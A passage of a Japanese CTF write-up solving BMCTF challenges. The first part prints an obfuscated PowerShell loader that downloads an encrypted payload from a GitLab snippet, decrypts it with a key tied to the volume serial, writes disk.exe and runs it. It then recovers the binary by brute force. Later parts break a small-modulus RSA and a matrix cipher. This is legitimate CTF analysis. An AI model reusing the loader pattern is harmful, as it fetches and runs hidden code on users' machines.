QAaQBuAGcAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3ADsAJABtAGEAZQBzAC4ASwBlAHkAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBIAGEAcwBoAEEAbABnAG8AcgBpAHQAaABtAF0AOgA6AEMAcgBlAGEAdABlACgAJwBzAGgAYQAyADUANgAnACkALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAKAAmACAAYwBtAGQAIAAvAGMAIAB2AG8AbAApAC4AUwBwAGwAaQB0ACgAKQBbAC0AMQBdAC4AVAByAGkAbQAoACkAKQApADsAJABkAGMAPQAkAG0AYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkAOwAkAGQAbQA9ACQAZABjAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBkACwAIAAxADYALAAgACQAZQBkAC4ATABlAG4AZwB0AGgAIAAtACAAMQA2ACkAOwBTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAiAGQAaQBzAGsALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAkAGQAbQAgAC0AQQBzAEIAeQB0AGUAUwB0AHIAZQBhAG0AIAAtAE4AbwBOAGUAdwBsAGkAbgBlADsALgBcAGQAaQBzAGsALgBlAHgAZQA= | base64 -d                
$m=(new-object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQ5NC9yYXcvbWFpbi9kaXNrLmVuYw==')));$ed=[System.Convert]::FromBase64String($m);$maes=new-object "System.Security.Cryptography.AesManaged";$maes.IV=$ed[0..15];$maes.Mode=[System.Security.Cryptography.CipherMode]::CBC;$maes.KeySize=256;$maes.BlockSize=128;$maes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$maes.Key=[System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([System.Text.Encoding]::UTF8.GetBytes((& cmd /c vol).Split()[-1].Trim()));$dc=$maes.CreateDecryptor();$dm=$dc.TransformFinalBlock($ed, 16, $ed.Length - 16);Set-Content -Path "disk.exe" -Value $dm -AsByteStream -NoNewline;.\disk.exe

PowerShellのコードを読みやすいよう整形する。

$m=(new-object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQ5NC9yYXcvbWFpbi9kaXNrLmVuYw==')));
$ed=[System.Convert]::FromBase64String($m);
$maes=new-object "System.Security.Cryptography.AesManaged";
$maes.IV=$ed[0..15];
$maes.Mode=[System.Security.Cryptography.CipherMode]::CBC;
$maes.KeySize=256;
$maes.BlockSize=128;
$maes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;
$maes.Key=[System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([System.Text.Encoding]::UTF8.GetBytes((& cmd /c vol).Split()[-1].Trim()));
$dc=$maes.CreateDecryptor();
$dm=$dc.TransformFinalBlock($ed, 16, $ed.Length - 16);
Set-Content -Path "disk.exe" -Value $dm -AsByteStream -NoNewline;
.\disk.exe

最初の行のbase64文字列をデコードする。

$ echo aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQ5NC9yYXcvbWFpbi9kaXNrLmVuYw== | base64 -d
https://gitlab.com/-/snippets/4867494/raw/main/disk.enc

このURLにアクセスすると、長大なbase64文字列が書いてある。これをダウンロードする。

$ wget https://gitlab.com/-/snippets/4867494/raw/main/disk.enc  
--2025-06-29 10:56:27--  https://gitlab.com/-/snippets/4867494/raw/main/disk.enc
Resolving gitlab.com (gitlab.com)... 172.65.251.78, 2606:4700:90:0:f22e:fbec:5bed:a9b9
Connecting to gitlab.com (gitlab.com)|172.65.251.78|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 192365 (188K) [text/plain]
Saving to: ‘disk.enc’

disk.enc                                             100%[=====================================================================================================================>] 187.86K  --.-KB/s    in 0.06s   

2025-06-29 10:56:28 (2.84 MB/s) - ‘disk.enc’ saved [192365/192365]

disk.encをbase64デコードすると、AESの暗号データになっていることがわかる。keyはボリューム番号のsha256ダイジェストで不明なため、ブルートフォースでMZから始まるものを探す。
あまりにも時間がかかりそうなので、Hint (Cost: 0 points)を開けると以下のように書いてある。

AXXX-BXXX

これで範囲を狭めることができる。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import *
from hashlib import *
from struct import *

with open('disk.enc', 'r') as f:
    enc = b64decode(f.read())

iv = enc[:16]
ct = enc[16:]

for k in range(2**24):
    h = hex(k)[2:].zfill(6).upper()
    vol = 'A%s-B%s' % (h[:3], h[3:])
    key = sha256(vol.encode()).digest()
    cipher = AES.new(key, AES.MODE_CBC, iv)
    pt = cipher.decrypt(ct)
    offset = unpack('<I', pt[0x3c:0x40])[0]
    if pt[:2] == b'MZ' and pt[offset:offset+4] == b'PE\x00\x00':
        print('[+] Volume Number:', vol)
        pt = unpad(pt, 16)
        with open('disk.exe', 'wb') as f:
            f.write(pt)
        break

実行結果は以下の通り。

[+] Volume Number: AC91-B008

復元したdisk.exeを実行する。

>disk.exe
BMCTF{that_w4s_n0t_supp0s3d_t0_h4pp3n}
BMCTF{that_w4s_n0t_supp0s3d_t0_h4pp3n}

Too Small I Guess (Crypto)

RSA暗号。factordbでNを素因数分解する。

N = 228337825920501024345892620188308555741 * 249647001095058483196231850349361480039

あとは通常通り復号する。

#!/usr/bin/e nv python3
from Crypto.Util.number import *

with open('values.txt', 'r') as f:
    params = f.read().splitlines()

N = int(params[0].split(' ')[-1])
c = int(params[1].split(' ')[-1])
e = int(params[2].split(' ')[-1])

p = 228337825920501024345892620188308555741
q = 249647001095058483196231850349361480039
assert p * q == N

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()
print(flag)
BMCTF{S1z3_Matt3r5}

Trixie Prixie (Crypto)

暗号化処理の概要は以下の通り。

・key = generate_valid_matrix()
 ・以下繰り返し
  ・mat: 0以上256以下のランダム整数からなる4×4の行列
  ・modを256として、matが逆行列を持ち、matを反時計回りに90度回転した行列が逆行列を持つ場合、matを返却
・fake_key: keyを反時計回りに90度回転した行列
・cipher = encrypt_message(flag, key)
 ・message_bytes: flagの各文字のASCIIコードの配列
 ・message_bytesの長さが4で割り切れるまで0を追加
 ・encrypted = []
 ・message_bytesを4バイトごとにblockにして以下を実行
  ・block: blockの各文字のASCIIコードの配列
  ・enc_block = key * block % 256
  ・encryptedにenc_blockを追加
 ・encryptedをバイト文字列化して返却
・cipher_b64: cipherをbase64エンコードしたもの
・cipher_b64をcipher.txtに書き込み
・fake_keyをkey.npyに書き込み

keyはfake_keyを270度回転すればよい。

平文の配列をP、暗号化した配列をCとすれば、以下のようになる。

key * P = C
P = inverse(key) * C

このことを使って逆算すれば、フラグがわかる。

#!/usr/bin/env python3
import numpy as np
import base64
import sympy

def inverse_matrix(matrix, mod):
    sym_mat = sympy.Matrix(matrix.tolist())
    return np.array(sym_mat.inv_mod(mod))

def decrypt_message(cipher, inverse_key, block_size=4):
    cipher_bytes = list(cipher)
    decrypted = []
    for i in range(0, len(cipher_bytes), block_size):
        block = np.array(cipher_bytes[i:i+block_size])
        dec_block = inverse_key @ block % 256
        decrypted.extend(dec_block)
    while True:
        if decrypted[-1] == 0:
            decrypted = decrypted[:-1]
        else:
            break
    return bytes(decrypted)

fake_key = np.load('key.npy')
key = np.rot90(fake_key, k=-1)
inverse_key = inverse_matrix(key, 256)

with open('cipher.txt', 'r') as f:
    cipher_b64 = f.read()

cipher = base64.b64decode(cipher_b64)
flag = decrypt_message(cipher, inverse_key).decode()
print(flag)
BMCTF{Matrixie_crypt10n}



以上の内容はhttps://yocchin.hatenablog.com/entry/2025/06/30/093913より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14